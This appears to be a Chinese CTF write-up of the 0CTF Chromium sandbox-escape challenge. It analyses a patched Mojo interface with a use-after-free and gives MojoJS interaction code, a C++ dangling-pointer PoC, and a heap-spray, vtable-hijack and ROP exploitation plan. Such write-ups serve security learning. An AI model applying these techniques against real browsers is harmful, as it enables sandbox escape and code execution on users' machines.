依旧会是流水账风格的博客hhh。为了做Chrome沙箱逃逸的题目,做了一些准备工作,大致了解了一下要干啥。0CTF的Chrome三部曲应该和上一个博客中的步骤相似:

  1. 渲染进程内的漏洞利用(Chromium RCE)✅
  2. 浏览器进程中的漏洞利用(Chromium SBX)
  3. 通过渲染进程的漏洞开启Mojo JS Binding,通过IPC利用浏览器进程的漏洞,最后拿到系统权限(Chromium Fullchain)

现在来尝试一下SBX。

毕竟是用C++写的,后面会涉及一些C++的语法,例如智能指针、虚函数等等,需要简单了解的话可以跳转到补充知识

题目附件

附件和今年的Plaid CTF 2020中的Mojojo比较相似。

image-20200709160323703

  • Dockerfile 远程题目的docker环境。

  • NOTE 提供了Chromium的commit hash。最开始看到这个想的就是得自己编译一个Chromium,但是后来看WP说给的Chromium是带符号的,所以不需要自己编译了。

  • chrome.zip 压缩包,里面有Chrome可执行文件。

  • Chromium_sbx.diff patch文件。

  • flag等等 这里也是需要拿到命令执行才能拿到flag。

  • mojo_js.zip Mojo的文件,解压到目录之后就可以在脚本中食用了。

  • Run.sh 构建docker镜像,运行server.py

  • Server.py 显示POW,然后输入大小和页面地址,把页面抓下来保存为index.html,然后启动docker访问

  • visit.sh 用于让Chrome访问index.html的命令,如下:

    1
    2
    3
    #!/bin/bash

    timeout 30 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS "$1"

    Visit.sh就是docker的entrypoint。

    后续调试的时候需要改动一下这个命令,否则没有输出。

Chrome的保护方式:(得跑一会儿)

1
2
3
4
5
6
7
8
➜  chromium_sbx checksec ./chrome
[*] '/home/wgn/Desktop/chromium_sbx/chrome'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

checksec显示保护方式全开。

调试环境

首先把Chrome.zip解压:

1
unzip ./chrome.zip

里面有一个可执行文件chrome,可以看到是有符号的:

image-20200709165622833

image-20200709165642230

之后把mojo_js.zip解压到一个目录下,例如mojojs目录:

1
unzip -o mojo_js.zip -d ./mojojs

image-20200709170239504

其中的mojo_bindings.js应该是之后需要用到的,还有就是third_party下的文件。

基础脚本

首先写一个小脚本用来调试。首先创建一个html页面:

1
2
3
4
5
6
7
<html>
<head>
<script src="my_test.js"></script>
</head>
<body>
</body>
</html>

my_test.js:

1
2
3
4
5
function print(msg) {
console.log(msg);
}

print('hello world');

运行:

1
2
3
4
5
➜  chromium_sbx ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html 

DevTools listening on ws://127.0.0.1:1338/devtools/browser/9fa26a17-4226-4995-8cb5-9c5b3b5ee946
[0709/170553.125289:INFO:CONSOLE(2)] "hello world", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
^C

需要注意的是这里加了一个选项:--user-data-dir=./userdata,如果没有的话是没有输出的:

1
2
3
4
➜  chromium_sbx ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS test.html 

DevTools listening on ws://127.0.0.1:1338/devtools/browser/e2d71472-6b90-4bf0-b9be-d25801d5a8a8
^C

这个是看@Nspace的聊天记录发现的。这个参数感觉就是修改用户目录的,不知道为什么还会影响console.log的输出。后来发现应该是在使用DevTools,参考:https://chromedevtools.github.io/devtools-protocol/

需要注意,比赛的题目环境要求只能有index.html,也就是不能放多个文件,不过这个应该问题不大。

Patch分析

添加的Mojo接口

diff文件太长了,我们一部分一部分看。

最开始是一些添加头文件,略过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
diff --git a/content/browser/tstorage/inner_db_impl.cc b/content/browser/tstorage/inner_db_impl.cc
new file mode 100644
index 000000000000..53e0dee672f8
--- /dev/null
+++ b/content/browser/tstorage/inner_db_impl.cc
@@ -0,0 +1,53 @@
+#include "content/browser/tstorage/inner_db_impl.h"
+
+namespace content {
+
+InnerDbImpl::InnerDbImpl() {} // InnerDbImpl 构造函数
+
+InnerDbImpl::~InnerDbImpl() {} // InnerDbImpl 析构函数
+
+void InnerDbImpl::Push(uint64_t value) {
+ queue_.push(value);
+}
+
+uint64_t InnerDbImpl::Pop() {
+ uint64_t value = queue_.front();
+ queue_.pop();
+ return value;
+}
+
+void InnerDbImpl::Set(uint64_t index, uint64_t value) {
+ if (index >= 0 && index < 200) {
+ array_[index] = value;
+ }
+}
+
+uint64_t InnerDbImpl::Get(uint64_t index) {
+ if (index >= 0 && index < 200) {
+ return array_[index];
+ }
+
+ return 0;
+}
+
+void InnerDbImpl::SetInt(int64_t value) {
+ int_value_ = value;
+}
+
+int InnerDbImpl::GetInt() {
+ return int_value_;
+}
+
+void InnerDbImpl::SetDouble(double value) {
+ double_value_ = value;
+}
+
+double InnerDbImpl::GetDouble() {
+ return double_value_;
+}
+
+uint64_t InnerDbImpl::GetTotalSize() {
+ return queue_.size() + array_.size();
+}
+
+} // namespace content

这一部分应该就比较重要了,添加了很多函数,看起来很像虚拟机的样子。

  • Push功能,向queue中压入一个value
  • Pop功能,先获取栈顶的值,然后弹出,返回该值
  • Set功能,向下表为index的位置写入value,可以看到范围为[0, 200),不在范围内什么也不做
  • Get功能,读取index处的值,范围依然是[0, 200),不在范围内就返回0
  • SetInt,设置Int_value_
  • GetInt,读取Int_value_,没有判断是否被SetInt过
  • SetDouble,设置double_value_
  • GetDouble,读取double_value_,没有判断是否被SetDouble过
  • GetTotalSize,返回queue的size加上array的size

目前看起来似乎之后Get系列的功能可能有点问题。不过之后已经赋值过初始值了:

1
2
3
4
+        std::array<uint64_t, 200> array_;
+ base::queue<uint64_t> queue_;
+ int64_t int_value_ = 0;
+ double double_value_ = 0.0;

我们先看到最后这几行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
diff --git a/third_party/blink/public/mojom/tstorage/tstorage.mojom b/third_party/blink/public/mojom/tstorage/tstorage.mojom
new file mode 100644
index 000000000000..c6c8c91905c8
--- /dev/null
+++ b/third_party/blink/public/mojom/tstorage/tstorage.mojom
@@ -0,0 +1,20 @@
+module blink.mojom;
+
+interface TStorage {
+ Init() => ();
+ CreateInstance() => (pending_remote<blink.mojom.TInstance> instance);
+ GetLibcAddress() => (uint64 addr);
+ GetTextAddress() => (uint64 addr);
+};
+
+interface TInstance {
+ Push(uint64 value) => ();
+ Pop() => (uint64 value);
+ Set(uint64 index, uint64 value) => ();
+ Get(uint64 index) => (uint64 value);
+ SetInt(int64 value) => ();
+ GetInt() => (int64 value);
+ SetDouble(double value) => ();
+ GetDouble() => (double value);
+ GetTotalSize() => (int64 size);
+};

这个看起来有点像个总结。加进来的主要是两个Mojo interface,分别是TStorage和TInstance。

可以看到是在blink.mojom模块中加入的,文件的位置也知道,这是写JS需要注意的

  • TStorage的功能有Init、CreateInstance、GetLibcAddress、GetTextAddress。出题人内置了这两个给我们泄露的函数,十分友好了:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    +// NOTE: On Windows platform, binary and library address of chrome main process is same
    +// as renderer process, so we suppose you already have these addresses in SBX challenge.
    +// In fact, even without these two functions, you can also solve this problem, but I don't
    +// think it's friendly to players in a 48-hour game. Maybe you can try it after the match :)
    +void TStorageImpl::GetLibcAddress(GetLibcAddressCallback callback) {
    + std::move(callback).Run((uint64_t)(&atoi));
    +}
    +void TStorageImpl::GetTextAddress(GetTextAddressCallback callback) {
    + std::move(callback).Run((uint64_t)(&TStorageImpl::Create));
    +}

    还有一个函数是CreateInstance:

    1
    2
    3
    4
    5
    6
    7
    +void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {
    + mojo::PendingRemote<blink::mojom::TInstance> instance;
    + mojo::MakeSelfOwnedReceiver(std::make_unique<content::TInstanceImpl>(inner_db_.get()),
    + instance.InitWithNewPipeAndPassReceiver());
    +
    + std::move(callback).Run(std::move(instance));
    +}

    这个也比较重要。

  • TInstance的功能中,通过查看WP,发现了这个可疑的地方,那就是GetTotalSize。GetTotalSize首先是在InnerDb中的:

    1
    2
    3
    4
    5
    6
    7
    +namespace content {
    + class InnerDb {
    + public:
    + virtual ~InnerDb() {}
    + virtual uint64_t GetTotalSize();
    + };
    +}

    注意⚠️ 这里面的两个函数都是virtual的。

    InnerDbImpl中实现了这个功能:

    1
    2
    3
    +uint64_t InnerDbImpl::GetTotalSize() {
    + return queue_.size() + array_.size();
    +}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    +namespace content {
    + class InnerDbImpl : InnerDb {
    + public:
    + InnerDbImpl();
    + ~InnerDbImpl() override;
    +
    + void Push(uint64_t value);
    + uint64_t Pop();
    + void Set(uint64_t index, uint64_t value);
    + uint64_t Get(uint64_t index);
    + void SetInt(int64_t value);
    + int GetInt();
    + void SetDouble(double value);
    + double GetDouble();
    + uint64_t GetTotalSize() override;
    +
    + std::array<uint64_t, 200> array_;
    + base::queue<uint64_t> queue_;
    + int64_t int_value_ = 0;
    + double double_value_ = 0.0;
    + };
    +}

    这里面的InnerDbImpl是继承自InnerDb的。之后是在TInstanceImpl中实现了这个功能,用到了callback。

    1
    2
    3
    4
    5
    6
    +void TInstanceImpl::GetTotalSize(GetTotalSizeCallback callback) {
    + uint64_t result = inner_db_ptr_->GetTotalSize();
    +
    + std::move(callback).Run(result);
    +}
    +

现在基本把Patch的功能搞明白了。之后的利用应该就是围着这两个Mojo接口转了。

漏洞分析

由于没有接触过C++的漏洞分析,我们还是直接看WP好了。漏洞的位置在CreateInstance:

1
2
3
4
5
6
7
void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {
mojo::PendingRemote<blink::mojom::TInstance> instance;
mojo::MakeSelfOwnedReceiver(std::make_unique<content::TInstanceImpl>(inner_db_.get()),
instance.InitWithNewPipeAndPassReceiver());

std::move(callback).Run(std::move(instance));
}

有了C++的代码知识之后,我们来分析一下问题在哪里。

首先,代码声明了一个TInstance类变量instance。在上下文中,有一个inner_db_

1
2
3
4
5
void TStorageImpl::Init(InitCallback callback) {
inner_db_ = std::make_unique<InnerDbImpl>();

std::move(callback).Run();
}

这是一个InnerDbImpl智能指针。

然后通过inner_db_.get()获取了InnerDbImpl指针(原始指针)。然后通过make_unique方法,构造了一个TInstanceImpl智能指针。

1
2
3
TInstanceImpl::TInstanceImpl(InnerDbImpl* inner_db) : weak_factory_(this) {
inner_db_ptr_ = inner_db;
}

补充知识中我们介绍了get、reset、release等方法,通过C++官网我们仔细看一下get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Get pointer
Returns the stored pointer.

The stored pointer points to the object managed by the unique_ptr, if any, or to nullptr if the unique_ptr is empty.

stored pointer指向unique_ptr管理的对象。如果unique_ptr为空就返回null。

Notice that a call to this function does not make unique_ptr release ownership of the pointer (i.e., it is still responsible for deleting the managed data at some point). Therefore, the value returned by this function shall not be used to construct a new managed pointer.

需要注意的是,调用get()并不会让unique_ptr释放自己对该指针的拥有权,该对象依旧需要通过unique_ptr来管理,如删除等。所以,get()的返回值不应该被用来构建一个新的托管指针(智能指针)。

In order to obtain the stored pointer and release ownership over it, call unique_ptr::release instead.

如果想要拿到指针并且释放拥有权,使用release代替get。

也就是说,调用inner_db_.get()并没有接触控制权,inner_db_依旧是有效的指针。这里提醒了,说通过get拿到原生指针之后,不应该用这个原生指针去构造别的托管指针(当作用来操作内存的指针来理解好了)了。但是我们通过get拿到原生指针后就用它构造TInstanceImpl指针了。这里就是漏洞点。

这里的inner_db_s是TStorageImpl->inner_db_。通过get获取指针之后,构造了TInstanceImpl智能指针,也就是说TInstanceImpl->inner_db_ptrTStorageImpl->inner_db_指向的是同一块内存:

1
2
3
TInstanceImpl::TInstanceImpl(InnerDbImpl* inner_db) : weak_factory_(this) {
inner_db_ptr_ = inner_db;
}

现在的分析结果是,TInstanceImpl->inner_db_ptrTStorageImpl->inner_db_指向的是同一块内存,如果我们用其中的任何一个释放了内存,都会导致另一个指针变为悬垂指针

PoC

漏洞找到了之后先尝试编写PoC试试。

和Mojo接口交互

首先第一步我们先和新加入的Mojo接口进行交互。

首先需要把Mojo Binding引入,以及加入的接口所在的文件,写在test.html中:

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<script src="mojojs/mojo_bindings.js"></script>
<script src="mojojs/third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
<!-- <script src="mojojs/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> -->
<script src="my_test.js"></script>
</head>
<body>
</body>
</html>

攻击的具体功能写在my_test.js中即可。或者合并为一个HTML,都是可以的。先看一下效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function print(msg) {
console.log(msg);
// document.body.innerText += msg + '\n';
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}

print("++++++++++++++ START ++++++++++++++");

async function test(){
var ts_ptr = new blink.mojom.TStoragePtr();
if(!ts_ptr){
print("Failed to create TStoragePtr");
}

Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(ts_ptr).handle);

await ts_ptr.init();

var ti_ptr = (await ts_ptr.createInstance()).instance;

if(!ti_ptr){
print("Failed to create TInstancePtr");
}

await ti_ptr.push(1337);
var tmp = (await ti_ptr.pop()).value;
print("Should be 1337: ");
print(tmp);
var libc_leak = (await ts_ptr.getLibcAddress()).addr;
print("libc leak: ");
print(hex(libc_leak));
var text_leak = (await ts_ptr.getTextAddress()).addr;
print("text leak: ");
print(hex(text_leak));

}

test();
1
2
3
4
5
6
7
8
9
10
➜  chromium_sbx ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html

DevTools listening on ws://127.0.0.1:1338/devtools/browser/78adac18-1e6e-4875-9eb2-c20481b380fb
[0711/002252.421943:INFO:CONSOLE(2)] "++++++++++++++ START ++++++++++++++", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
[0711/002252.429833:INFO:CONSOLE(2)] "Should be 1337: ", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
[0711/002252.429893:INFO:CONSOLE(2)] "1337", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
[0711/002252.430519:INFO:CONSOLE(2)] "libc leak: ", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
[0711/002252.430581:INFO:CONSOLE(2)] "0x00007efd49a9a730", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
[0711/002252.431273:INFO:CONSOLE(2)] "text leak: ", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)
[0711/002252.431315:INFO:CONSOLE(2)] "0x0000559d8982ce60", source: file:///home/wgn/Desktop/chromium_sbx/my_test.js (2)

当然写到一个HTML页面中也是可以的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<html>
<pre id='log'></pre>
<script src="mojojs/mojo_bindings.js"></script>
<script src="mojojs/third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
<!-- <script src="mojojs/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> -->
<!-- <script src="my_test.js"></script> -->

<script>
// ./chrome --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html
// ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html
function print(msg) {
console.log(msg);
document.body.innerText += msg + '\n';
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}

print("[+] Start to attack ...");

async function test(){ // 异步函数,这样才能调用await,这样更稳定一些
var ts_ptr = new blink.mojom.TStoragePtr(); // 创建一个TStoragePtr,用于发送消息
if(!ts_ptr){
print("[-] Failed to create TStoragePtr");
}
print("[+] TStoragePtr is good ")

Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(ts_ptr).handle); // 通过BindInterface方法,绑定TStorageRequest,这样就能通信了

await ts_ptr.init(); // 调用TStorageImpl::init方法,创建一个InnerDb的unique智能指针,inner_db_

var ti_ptr = (await ts_ptr.createInstance()).instance;// 调用TStorage::createInstance方法,使用inner_db_创建了一个TInstance的unique智能指针,这里使用的是get来获取原生指针,并没有释放控制权,导致漏洞。获取了instance之后就可以调用TInstanceImpl::的各种方法了

if(!ti_ptr){
print("[-] Failed to create TInstancePtr");
}
print("[+] TInstancePtr is good")

await ti_ptr.push(1337);
var tmp = (await ti_ptr.pop()).value;
print("[+] Should be 1337: ");
print(tmp);
var libc_leak = (await ts_ptr.getLibcAddress()).addr;
print("[+] libc leak: ");
print(hex(libc_leak));
var text_leak = (await ts_ptr.getTextAddress()).addr;
print("[+] text leak: ");
print(hex(text_leak));

}

test();

</script>
</html>

结合注释、下图和Mojo接口应该就可以理解了:

bind

理解不到位的地方欢迎大佬批评指正~

试一下运行带界面的Chrome:

1
./chrome --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html

image-20200711111648231

奈斯!这部分的代码比较常用,可以当作snippet。

悬垂指针UAF

因为JS这里想要触发漏洞可能有点麻烦,我们用g++编译一个C++的POC,验证一下unique指针的使用问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<iostream>
#include<memory>

class InnerDb {
public:
virtual uint64_t getTotalSize() = 0;
};

class InnerDbImpl : InnerDb {
public:
InnerDbImpl() {};
uint64_t getTotalSize() {return 100;};
uint64_t target = 0;
};

class TInstanceImpl {
public:
TInstanceImpl(InnerDbImpl* inner_db){
inner_db_ptr_ = inner_db;
}
InnerDbImpl* inner_db_ptr_;
};

class TStorageImpl {
public:
void Init(){
inner_db_ = std::make_unique<InnerDbImpl>();
}
void create(){
std::make_unique<TInstanceImpl>(inner_db_.get());
}
std::unique_ptr<InnerDbImpl> inner_db_;
};


int main(){
TStorageImpl* ts_ptr = new TStorageImpl();
ts_ptr->Init();
InnerDbImpl* tmp_ptr = (ts_ptr->inner_db_).get();
TInstanceImpl* ti_ptr = new TInstanceImpl(tmp_ptr);

std::cout << "These two pointers should be same: " << std::endl;
std::cout << "TStorageImpl->inner_db_: " << (ts_ptr->inner_db_).get() << std::endl;
std::cout << "TInstanceImpl->inner_db_ptr_: " << ti_ptr->inner_db_ptr_ << std::endl;
std::cout << "Before: " << std::endl;
std::cout << "TStorageImpl->inner_db_->target: " << ((ts_ptr->inner_db_).get())->target << std::endl;
std::cout << "TInstanceImpl->inner_db_ptr_->target: " << (ti_ptr->inner_db_ptr_)->target << std::endl;
std::cout << "Now TStorageImpl->inner_db_->target change to 100" << std::endl;
((ts_ptr->inner_db_).get())->target = 100;
std::cout << "After: " << std::endl;
std::cout << "TInstanceImpl->inner_db_ptr_->target: " << (ti_ptr->inner_db_ptr_)->target << std::endl;
std::cout << "Now reset TStorageImpl->inner_db_: " << std::endl;
ts_ptr->inner_db_.reset();
std::cout << "TStorageImpl->inner_db_: " << (ts_ptr->inner_db_).get() << std::endl;
std::cout << "TInstanceImpl->inner_db_ptr_ turns into a dangling pointer" << std::endl;
std::cout << "TInstanceImpl->inner_db_ptr_: " << ti_ptr->inner_db_ptr_ << std::endl;
std::cout << "TInstanceImpl->inner_db_ptr_->target: " << (ti_ptr->inner_db_ptr_)->target << std::endl;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
These two pointers should be same:
TStorageImpl->inner_db_: 0x55faca237e90
TInstanceImpl->inner_db_ptr_: 0x55faca237e90
Before:
TStorageImpl->inner_db_->target: 0
TInstanceImpl->inner_db_ptr_->target: 0
Now TStorageImpl->inner_db_->target change to 100
After:
TInstanceImpl->inner_db_ptr_->target: 100
Now reset TStorageImpl->inner_db_:
TStorageImpl->inner_db_: 0
TInstanceImpl->inner_db_ptr_ turns into a dangling pointer
TInstanceImpl->inner_db_ptr_: 0x55faca237e90
TInstanceImpl->inner_db_ptr_->target: 100

可以看到指针是一致的,一个改另一个也会改。当我们释放其中一个之后,另一个指针并不会清0,变为悬垂指针,依旧可以操作。

在浏览器场景中,我们通过TStoragePtr和浏览器端进行交互,内存分配和释放都在浏览器端。所以这里的模拟是OK的,并不涉及跨进程。

利用思路

根据我们之前的分析结果:

现在的分析结果是,TInstanceImpl->inner_db_ptrTStorageImpl->inner_db_指向的是同一块内存,如果我们用其中的任何一个释放了内存,都会导致另一个指针变为悬垂指针

菜菜的我继续看Balsn的WP了。一下的思路均是在参考Balsn的WP的条件下完成的。

首先一个拍脑门的攻击思路。inner_db_ptr变为悬垂指针之后,既然它所指向的对象已经被释放,我们可以尝试重新拿到这块内存,可以通过堆喷射之类的方法。之后我们修改结构体的内容,例如劫持vtable,就可以通过getTotalSize等函数来达到任意代码执行,控制RIP。

但是获取那块内存并不是很容易的事情。在WP中提到了PartitionAlloc,这个是Blink的内存分配器。我们并不熟悉具体的分配释放策略,可以有一个拍脑门的想法:

  1. 释放很多的堆块
  2. 重新分配很多的堆块
  3. 通过扫描一个特殊的字符串或者一些特殊的值,我们可以判断出是否拿到了目标内存

通过多次尝试就可以拿到inner_db_ptr的内存了。里面的结构有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
namespace content {
class InnerDbImpl : InnerDb {
public:
InnerDbImpl();
~InnerDbImpl() override;

void Push(uint64_t value);
uint64_t Pop();
void Set(uint64_t index, uint64_t value);
uint64_t Get(uint64_t index);
void SetInt(int64_t value);
int GetInt();
void SetDouble(double value);
double GetDouble();
uint64_t GetTotalSize() override;

std::array<uint64_t, 200> array_;
base::queue<uint64_t> queue_;
int64_t int_value_ = 0;
double double_value_ = 0.0;
};
}

我们不仅可以控制vtable,还可以控制inner_db_ptr_->queue_指针,这样通过push和pop操作就可以完成任意地址读写。

完整的攻击链如下:

  1. 和Mojo接口绑定后,先获取Libc的地址和Text地址
  2. 触发UAF,让inner_db_ptr_变为悬垂指针
  3. 通过堆喷拿到inner_db_ptr_的指向的内存,现在可以控制vtable的指针,以及queue指针,现在可以任意地址读写,还可以控制rip
  4. 通过任意地址写把ROP链写到bss段上
  5. 控制vtable覆盖函数指针到gadget上:xchg rax, rsp; ret。因为rax是可控的,所以这里就可以栈劫持到bss上的ROP
  6. 调用getTotalSize,就可以控制rip了

在题目附件位置,我们用checksec看到保护是全开的,但是libc和代码段的地址都是已知的。

我们这里是通过Mojo来和浏览器进程通信的,所以整个过程基本都是发生在浏览器进程。尽管渲染进程中的d8可以有JIT等功能,使得有RWX的位置可以写shellcode,但在浏览器进程我们用不了。不过虽然不能写shellcode,我们依然可以ROP。

画了一个简单的示意图来展示堆喷射的效果。

拍脑门的错误想法

一开始了解有问题,这是最开始拍脑门的想法:

heap-spray

以上的内存分配、释放等等都是在浏览器进程中。思路如下:

  1. 一共有三个数组A,B,C。首先在B中push进去大量的TStorage,然后获取TInstance压入到A中。由于之前分析的漏洞,A[i]和B[i]中的inner db指针都是指向同一内存的。
  2. 将B中的TStorage都reset掉,指向的内存被释放,导致A[i]的inner db指针变成了悬垂指针。此时有大量的大小和TStorage一样的空间处于释放状态。
  3. 大量创建TStorage,并获取TInstance压入C中。我们期望会存在某一个或多个C[i],使用了被释放的内存,这样,C[i]就可以和某一个A[i]控制同一个对象。
  4. 通过对C[i]的修改,我们就可以修改某一个A[i],进而达到任意地址读写和控制RIP等操作。

但是这样真的work么?并不是的。因为就算拿到了重叠的指针,此时两个指针都是操作同一个对象。两边都是TInstance类型的对象,我们无法去修改queue指针,也修改不了虚表,任意地址读写是不可能的。我们的目标应该是,当一个个Mem被释放掉之后,用其他的方式拿到这些内存,并且对这部分内存有完全的读写能力。

改进之后的想法

我们在C中存进了很多TInstance,可以进行push、pop等操作。通过大量push我们可以消耗内存,把B中释放的内存都分配回来。由于我们用push控制内存,整个内存块我们都是可控的,因此虚表、queue指针等等都是可控的。

新的图示:

heap-spray2

图中为粗略的想法,InnerDbImpl的具体内部结构还不清楚。

修改后的利用过程:

  1. 一共有三个数组A,B,C。首先在B中push进去大量的TStorage,然后获取TInstance压入到A中。由于之前分析的漏洞,A[i]和B[i]中的inner db指针都是指向同一内存的。
  2. 在C中存入大量的TInstance。注意此时并没有释放B中的TStorage。C中的TInstance的功能是使用他们的push功能消耗之后B释放的内存。
  3. 释放B中的TStorage,A中的TInstance变为悬垂指针。此时有大量的空间被释放。
  4. 操作C中的TInstance,调用push,通过扩展queue来消耗释放的内存。我们期望能够通过push的数据覆盖某个A中的TInstance的空间,修改其中的vtable和queue。
  5. 通过遍历A中的TInstance,找到我们控制住的TInstance。
  6. 通过修改queue指针可以任意地址读写,通过修改viable可以控制rip进而ROP。

开始利用

调试方法

目前的调试方法就是直接用gdb调试:

1
2
3
4
5
gdb ./chrome // 写成脚本的话是file ./chrome

set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS test.html

set follow-fork-mode parent

建议保存到sh之后gdb -x gdb_test.sh来启动gdb,更方便一些。

题目提供的Chrome是带符号的。

还有一个方法应该是通过DevTools调试,目前还没搞定,之后填坑。

因为是带符号的,我们在gdb中可以直接使用tab补全:

1
2
3
4
5
6
7
8
9
pwndbg> p content::
Display all 200 possibilities? (y or n)
pwndbg> p content::InnerDbImpl::
Get(unsigned long) Push(unsigned long)
GetDouble() Set(unsigned long, unsigned long)
GetInt() SetDouble(double)
GetTotalSize() SetInt(long)
InnerDbImpl() ~InnerDbImpl()
Pop()

这样我们就可以直接在函数名上下断点了。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> break content::InnerDbImpl::InnerDbImpl() 
Breakpoint 1 at 0x562383f31d84
pwndbg> x/20i 0x562383f31d84
0x562383f31d84 <content::InnerDbImpl::InnerDbImpl()+4>: lea rax,[rip+0x68aacd5] # 0x56238a7dca60 <vtable for content::InnerDbImpl+16>
0x562383f31d8b <content::InnerDbImpl::InnerDbImpl()+11>: mov QWORD PTR [rdi],rax
0x562383f31d8e <content::InnerDbImpl::InnerDbImpl()+14>: xorps xmm0,xmm0
0x562383f31d91 <content::InnerDbImpl::InnerDbImpl()+17>: movups XMMWORD PTR [rdi+0x648],xmm0
0x562383f31d98 <content::InnerDbImpl::InnerDbImpl()+24>: movups XMMWORD PTR [rdi+0x658],xmm0
0x562383f31d9f <content::InnerDbImpl::InnerDbImpl()+31>: movups XMMWORD PTR [rdi+0x668],xmm0
0x562383f31da6 <content::InnerDbImpl::InnerDbImpl()+38>: pop rbp
0x562383f31da7 <content::InnerDbImpl::InnerDbImpl()+39>: ret
...

有趣的是,这里直接查看代码可以看到+4 的位置提示,rax保存的会是一个vtable,但是r运行之后在context页面是看不到这个提示的。查看这个位置附近可以看到有趣的内存:

1
2
3
4
5
6
7
8
9
0x560f295c89e8 <vtable for content::TInstanceImpl>:	0x0000000000000000	0x0000000000000000
0x560f295c89f8 <vtable for content::TInstanceImpl+16>: 0x0000560f22d1daf0 0x0000560f22d1db10
0x560f295c8a08 <vtable for content::TInstanceImpl+32>: 0x0000560f22d1db40 0x0000560f22d1db80
0x560f295c8a18 <vtable for content::TInstanceImpl+48>: 0x0000560f22d1dbc0 0x0000560f22d1dc00
0x560f295c8a28 <vtable for content::TInstanceImpl+64>: 0x0000560f22d1dc40 0x0000560f22d1dc80
0x560f295c8a38 <vtable for content::TInstanceImpl+80>: 0x0000560f22d1dcc0 0x0000560f22d1dd00
0x560f295c8a48 <vtable for content::TInstanceImpl+96>: 0x0000560f22d1dd40 0x0000000000000000
0x560f295c8a58 <vtable for content::InnerDbImpl+8>: 0x0000000000000000 0x0000560f22d1ddb0
0x560f295c8a68 <vtable for content::InnerDbImpl+24>: 0x0000560f22d1ddd0 0x0000560f22d1df80

tele看一看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> tele 0x560f295c89e8 20
00:0000│ 0x560f295c89e8 ◂— 0x0
... ↓
02:0010│ 0x560f295c89f8 —▸ 0x560f22d1daf0 (content::TInstanceImpl::~TInstanceImpl()) ◂— push rbp
03:0018│ 0x560f295c8a00 —▸ 0x560f22d1db10 (content::TInstanceImpl::~TInstanceImpl()) ◂— push rbp
04:0020│ 0x560f295c8a08 —▸ 0x560f22d1db40 ◂— push rbp
05:0028│ 0x560f295c8a10 —▸ 0x560f22d1db80 ◂— push rbp
06:0030│ 0x560f295c8a18 —▸ 0x560f22d1dbc0 ◂— push rbp
07:0038│ 0x560f295c8a20 —▸ 0x560f22d1dc00 ◂— push rbp
08:0040│ 0x560f295c8a28 —▸ 0x560f22d1dc40 ◂— push rbp
09:0048│ 0x560f295c8a30 —▸ 0x560f22d1dc80 ◂— push rbp
0a:0050│ 0x560f295c8a38 —▸ 0x560f22d1dcc0 ◂— push rbp
0b:0058│ 0x560f295c8a40 —▸ 0x560f22d1dd00 ◂— push rbp
0c:0060│ 0x560f295c8a48 —▸ 0x560f22d1dd40 ◂— push rbp
0d:0068│ 0x560f295c8a50 ◂— 0x0
... ↓
0f:0078│ rax 0x560f295c8a60 —▸ 0x560f22d1ddb0 (content::InnerDbImpl::~InnerDbImpl()) ◂— push rbp
10:0080│ 0x560f295c8a68 —▸ 0x560f22d1ddd0 (content::InnerDbImpl::~InnerDbImpl()) ◂— push rbp
